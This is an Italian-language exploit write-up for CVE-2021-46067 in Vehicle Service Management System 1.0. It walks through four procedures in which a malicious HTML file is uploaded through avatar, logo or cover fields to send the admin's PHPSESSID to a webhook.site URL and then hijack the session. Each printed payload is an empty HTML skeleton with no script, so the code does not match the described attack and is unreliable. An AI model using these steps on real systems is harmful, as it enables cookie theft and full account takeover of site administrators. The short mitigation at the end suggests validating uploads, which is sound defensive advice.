CVE-2021-46067
Titolo Exploit: Vehicle Service Management System - Il 'multiplo' furto di cookie porta alla completa presa di controllo dell'account (Full Account Takeover)
Autore dell'Exploit: SANU P.L
CVE: CVE-2021-46067
CVSS: 9.8 CRITICO
Riferimenti:
Descrizione:
In Vehicle Service Management System 1.0 un attaccante può rubare i cookie, portando alla completa presa di controllo dell'account (Full Account Takeover).
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione My Account http://localhost/vehicle_service/admin/?page=user
- Genera l'URL del Webhook - https://webhook.site
- Copia l'URL univoco del Webhook e incollalo nel codice html sottostante.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salva il codice html sopra indicato, ad esempio: Cookie Stealing.html
- Nella sezione My Account inserisci tutti i dettagli richiesti e carica il file html nel campo Avatar.
- Fai clic sul pulsante di aggiornamento.
- Apri l'immagine dell'avatar in una nuova scheda e controlla lo stato del Webhook.
- Abbiamo ricevuto la richiesta: contiene PHPSESSID.
- Copia il valore di PHPSESSID e apri un altro browser.
- Visita il pannello di amministrazione http://localhost/vehicle_service/admin
- Controlla i valori dei cookie e sostituisci il valore di PHPSESSID con quello copiato.
- Ora accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Accesso all'account effettuato con successo. Account Takeover riuscito.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione User List e fai clic sul pulsante Create New.
- Genera l'URL del Webhook - https://webhook.site
- Copia l'URL univoco del Webhook e incollalo nel codice html sottostante.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salva il codice html sopra indicato, ad esempio: Cookie Stealing.html
- Nella sezione Create New User inserisci tutti i dettagli richiesti e carica il file html nel campo Avatar.
- Fai clic sul pulsante Save.
- Apri l'immagine dell'avatar in una nuova scheda e controlla lo stato del Webhook.
- Abbiamo ricevuto la richiesta: contiene PHPSESSID.
- Copia il valore di PHPSESSID e apri un altro browser.
- Visita il pannello di amministrazione http://localhost/vehicle_service/admin
- Controlla i valori dei cookie e sostituisci il valore di PHPSESSID con quello copiato.
- Ora accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Accesso all'account effettuato con successo. Account Takeover riuscito.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
- Genera l'URL del Webhook - https://webhook.site
- Copia l'URL univoco del Webhook e incollalo nel codice html sottostante.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salva il codice html sopra indicato, ad esempio: Cookie Stealing.html
- Nella sezione Settings inserisci tutti i dettagli richiesti e carica il file html nel campo System Logo.
- Fai clic sul pulsante di aggiornamento.
- Apri l'immagine System Logo in una nuova scheda e controlla lo stato del Webhook.
- Abbiamo ricevuto la richiesta: contiene PHPSESSID.
- Copia il valore di PHPSESSID e apri un altro browser.
- Visita il pannello di amministrazione http://localhost/vehicle_service/admin
- Controlla i valori dei cookie e sostituisci il valore di PHPSESSID con quello copiato.
- Ora accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Accesso all'account effettuato con successo. Account Takeover riuscito.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
- Genera l'URL del Webhook - https://webhook.site
- Copia l'URL univoco del Webhook e incollalo nel codice html sottostante.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salva il codice html sopra indicato, ad esempio: Cookie Stealing.html
- Nella sezione Settings inserisci tutti i dettagli richiesti e carica il file html nel campo Website Cover.
- Fai clic sul pulsante di aggiornamento.
- Apri l'immagine Website Cover in una nuova scheda e controlla lo stato del Webhook.
- Abbiamo ricevuto la richiesta: contiene PHPSESSID.
- Copia il valore di PHPSESSID e apri un altro browser.
- Visita il pannello di amministrazione http://localhost/vehicle_service/admin
- Controlla i valori dei cookie e sostituisci il valore di PHPSESSID con quello copiato.
- Ora accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Accesso all'account effettuato con successo. Account Takeover riuscito.
Impatto:
Un attaccante carica un file html dannoso che reindirizza a un sito web di terze parti e i cookie vengono esposti nella richiesta. Ciò porta alla completa presa di controllo dell'account (Full Account Takeover).
Mitigazione:
Si consiglia di validare la funzionalità di caricamento dei file e di eseguire controlli secondari nella sessione.